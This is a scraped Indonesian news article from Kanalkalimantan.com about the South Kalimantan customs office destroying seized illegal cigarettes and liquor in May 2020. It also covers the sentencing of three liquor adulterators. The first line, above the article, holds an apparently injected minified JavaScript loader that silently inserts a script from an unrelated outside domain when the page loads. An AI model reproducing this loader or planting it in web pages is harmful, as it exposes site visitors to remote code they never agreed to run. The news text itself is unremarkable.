(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kota Banjarmasin

DJBC Kalbagsel: Kalsel Lahan Strategis Pangsa Pasar Barang Ilegal


KANALKALIMANTAN.COM, BANJARMASIN – Kalimantan Selatan merupakan lahan strategis bagi pemasaran barang ilegal. Terutama barang ilegal yang berbentuk rokok dan minuman keras (miras).

Kepala Bidang Penindakan dan Penyidikan Kanwil DJBC Kalbagsel, Rahmady Effendi Hutahaean mengatakan, konsumsi rokok dan miras ilegal di Kalsel cukup tinggi lantaran banyaknya pekerja nonformal seperti pekerja perusahaan tambang, perkebunan dan lain sebagainya.

“Mereka itulah yang menjadi pangsa pasar strategis bagi pedagang nakal yang menjual barang ilegal ini,” ucapnya pada awak media disela pemusnahan barang bukti di Kantor Wilayah DJBC Kalimantan Bagian Selatan, Banjarmasin, Kamis (14/5/2020) siang.

Ia mengaku, dalam semester dua tahun 2019, Kantor Wilayah DJBC Kalimantan Bagian Selatan menetapkan 1.033.340 Batang Rokok Ilegal dan 400,8 Liter Minuman Keras Ilegal hasil penindakan sebagai Barang Milik Negara (BMN) yang akan dimusnahkan pada hari ini.

Bahkan, petugas dari Kanwil DJBC Kalbagsel juga mengamankan 3 tersangka pembuat miras oplosan dengan berbagai merek ternama dikelasnya bersama barang bukti berupa dirige dan tong air yang digunakan untuk mengoplos, serta botol kosong dan tempat pengemasan finishing dari miras tersebut. Bahkan ia menyebut perbandingan antara miras oplosan dan yang asli itu 9:10.

“Ketiga tersangka sudah kita perkarakan di Kejaksaan Tinggi Kalimangan Selatan, dan inkrah semua dengan putusan 1 tahun 4 bulan,” ungkapnya.

Pria dengan sapaan Fendi itu menegaskan, bahwa seluruh aparat penegak hukum (Bea Cukai, TNI, Polri dan Kejaksaan) sudah menyatukan langkah untuk memberantas para pelaku kejahatan ekomoni ilegal yang ada di Indonesia. “Sehingga dengan sinergitas seluruh APH (Aparat Penegak Hukum) ini bisa mempersempit ruang gerak pelaku kejahatan ekonomi ini,” imbuhnya.

Sementara itu, Aspidsus (Asisten Pidana Khusus) Kejaksaan Tinggi Kalimantan Selatan, Dwiyanto Prihartono membenarkan bahwa adanya penjatuhan hukuman terhadap 3 tersangka pengoplos miras ilegal tersebut. “Iya benar, Ketiga tersangka itu sudah diputus hukumannya di Kejaksaan Negeri Kalimantan Selatan. Baik pidana badan denda dan barang buktinya,” singkatnya. (Kanalkalimantan.com/fikri)

Reporter : Fikri
Editor : Chell

Desy Arfianty

Recent Posts

KPU Banjarbaru Mulai Siapkan Pembentukan Badan Ad-hoc Pilkada 2024

KANALKALIMANTAN.COM, BANJARBARU - Komisioner Komisi Pemilihan Umum (KPU) Kota Banjarbaru menerima beberapa catatan menjelang pembentukan… Read More

4 jam ago

Raperda Inisiatif Sistem Drainase Tawaran Solusi Banjir dan Genangan Air di Ibu Kota

KANALKALIMANTAN.COM, BANJARBARU - Persoalan banjir dan genangan air masih menjadi pekerjaan rumah (PR) yang hingga… Read More

5 jam ago

Upaya Meningkatkan Akreditasi Perpustakaan di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Dinas Kearsipan dan Perpustakaan Daerah (Darpusda) Kota Banjarbaru menggelar sosialisasi pembinaan perpustakaan… Read More

6 jam ago

Cabang Musabaqah Syarhil Qur’an Kafilah HSU Putra Putri Lolos ke Final

KANALKALIMANTAN.COM, RANTAU - Hari ketiga Musabaqah Tilawatil Quran (MTQ) Nasional XXXV tingkat Provinsi Kalimantan Selatan… Read More

7 jam ago

65 Peserta Calon Guru Penggerak di Kabupaten Banjar Ikuti Lokakarya

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur mengingatkan para tenaga pengajar bahwa yantangan di… Read More

7 jam ago

Bupati Banjar Buka Temu Teknis Penyuluh Pertanian se Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Temu Teknis Penyuluh Pertanian se Kabupaten… Read More

7 jam ago

This website uses cookies.